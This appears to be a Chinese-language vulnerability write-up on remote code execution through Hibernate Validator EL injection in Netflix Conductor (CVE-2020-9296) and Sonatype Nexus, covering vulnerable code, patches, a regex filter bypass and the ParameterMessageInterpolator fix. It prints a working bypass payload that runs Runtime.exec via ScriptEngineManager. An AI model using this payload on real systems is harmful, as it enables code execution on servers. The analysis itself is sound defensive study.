最近看CVE发现多个因为引入hibernate.validtor组件且在抛错时带入外部可控参数执行SpEL表达式导致RCE漏洞。hibernate.validator实现Jakarta表达式语言用户动态执行、表示违反约定的信息,所以外部可控参数带入表达式执行存在RCE漏洞。

hibernate.validtor

1
2
String message = String.format("Invalid params: %s", s);
constraintValidatorContext.buildConstraintViolationWithTemplate(message).addConstraintViolation();

包含外部可控参数的message会在org/hibernate/validator/messageinterpolation/AbstractMessageInterpolator.java判断是否要解析为EL

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if ( resolvedMessage.indexOf( '{' ) > -1 ) {
// resolve parameter expressions (step 2)
resolvedMessage = interpolateExpression(
new TokenIterator( getParameterTokens( resolvedMessage, tokenizedParameterMessages, InterpolationTermType.PARAMETER ) ),
context,
locale
);

// resolve EL expressions (step 3)
resolvedMessage = interpolateExpression(
new TokenIterator( getParameterTokens( resolvedMessage, tokenizedELMessages, InterpolationTermType.EL ) ),
context,
locale
);
}
表达式带入并执行
1
2
3
4
5
6
7
8
org/hibernate/validator/internal/engine/messageinterpolation/ElTermResolver.java
try {
ValueExpression valueExpression = bindContextValues( expression, context, elContext );
resolvedExpression = (String) valueExpression.getValue( elContext );
}
catch (PropertyNotFoundException pnfe) {
LOG.unknownPropertyInExpressionLanguage( expression, pnfe );
}

Netflix-conductor

CVE-2020-9296

1
2
3
4
```java
String message = String.format("TaskDef: %s responseTimeoutSeconds: %d must be less than timeoutSeconds: %d",
taskDef.getName(), taskDef.getResponseTimeoutSeconds(), taskDef.getTimeoutSeconds());
context.buildConstraintViolationWithTemplate(message).addConstraintViolation();
修复commit 将hibernate validtor替换为org.apache.bval:bval-jsr,org.apache.bval:bval-jsr在该版本下不会解析EL表达式。

sonatype-nexus-public

官方通告中可以看到nexus存在多个因为hibernate validtor修复不完善bypass导致的CVE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
release-3.18.1-01 components/nexus-security/src/main/java/org/sonatype/nexus/security/role/RolesExistValidator.java
for (Object item : value) {
try {
authorizationManager.getRole(String.valueOf(item));
}
catch (NoSuchRoleException e) {
missing.add(getEscapeHelper().stripJavaEl(item.toString()));
}
}
if (missing.isEmpty()) {
return true;
}

context.disableDefaultConstraintViolation();
context.buildConstraintViolationWithTemplate("Missing roles: " + missing)
.addConstraintViolation();
return false;
直接带入导致RCE

release-3.19.0-01 缺陷补丁

1
2
3
4
5
6
7
8
components/nexus-common/src/main/java/org/sonatype/nexus/common/template/EscapeHelper.java

public String stripJavaEl(final String value) {
if (value != null) {
return value.replaceAll("\\$+\\{", "{");
}
return null;
}

release-3.19.0-01 绕过及修复

该正则过滤存在bypass 在45ce815b3244e6f91a1929204d1cb6d058e45781 commit中修复正则表达式过滤

1
2
3
4
5
6
public String stripJavaEl(final String value) {
if (value != null) {
return value.replaceAll("\\$+\\{", "{").replaceAll("\\$+\\\\A\\{", "{");
}
return null;
}
在测试文件中可以bypass poc
1
2
3
4
5
6
@Test
public void testStripJavaEl_bugged_interpolator() {
String test = "$\\A{badstuffinhere}";
String result = underTest.stripJavaEl(test);
assertThat(result, is("{badstuffinhere}"));
}
在表达式前增加\A同样可以解析是因为在hibernate.validtor处理时对el做分词
1
2
3
4
5
6
7
8
9
10
11
12
org/hibernate/validator/messageinterpolation/AbstractMessageInterpolator.java
private List<Token> getParameterTokens(String resolvedMessage, ConcurrentReferenceHashMap<String, List<Token>> cache, InterpolationTermType termType) {
if ( cachingEnabled ) {
return cache.computeIfAbsent(
resolvedMessage,
rm -> new TokenCollector( resolvedMessage, termType ).getTokenList()
);
}
else {
return new TokenCollector( resolvedMessage, termType ).getTokenList();
}
}
poc
1
$\\A{\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"java.lang.Runtime.getRuntime().exec('open /System/Applications/Calculator.app')\")}
debug 同时在validate conf中新增commit:4f8ffbe13fe96f009dbecb91cee1f3995003592a增加消息factory
1
2
3
4
5
6
ValidatorFactory factory = Validation.byDefaultProvider().configure()
.constraintValidatorFactory(constraintValidatorFactory)
.parameterNameProvider(new AopAwareParanamerParameterNameProvider())
.traversableResolver(new AlwaysTraversableResolver())
+ .messageInterpolator(new ParameterMessageInterpolator())
.buildValidatorFactory();
即增加ValidatorConfiguration
1
2
3
4
5
6
7
8
9
10
11
12
13
14
@Configuration
public class ValidatorConfiguration {
@Bean
public Validator validator(){
ValidatorFactory factory = Validation.byDefaultProvider().configure()
.constraintValidatorFactory(constraintValidatorFactory)
.parameterNameProvider(new AopAwareParanamerParameterNameProvider())
.traversableResolver(new AlwaysTraversableResolver())
.messageInterpolator(new ParameterMessageInterpolator())
.buildValidatorFactory();

return validator = validatorFactory.getValidator();
}
}
效果对比
1
2
3
4
 kevinsa@ > curl -s -H "Content-Type: application/json" http://127.0.0.1:8080/user -d '{"name":"name", "param": "${1+1}"}'
{"code":400,"message":"Invalid params: 2","data":null}%
kevinsa@ > curl -s -H "Content-Type: application/json" http://127.0.0.1:8080/user -d '{"name":"name", "param": "${1+1}"}'
{"code":400,"message":"Invalid params: ${1+1}","data":null}
ParameterMessageInterpolator() 从官方文档中可以看到是不支持EL表达式,所以不会存在因为EL表达式带入恶意数据执行导致的RCE漏洞。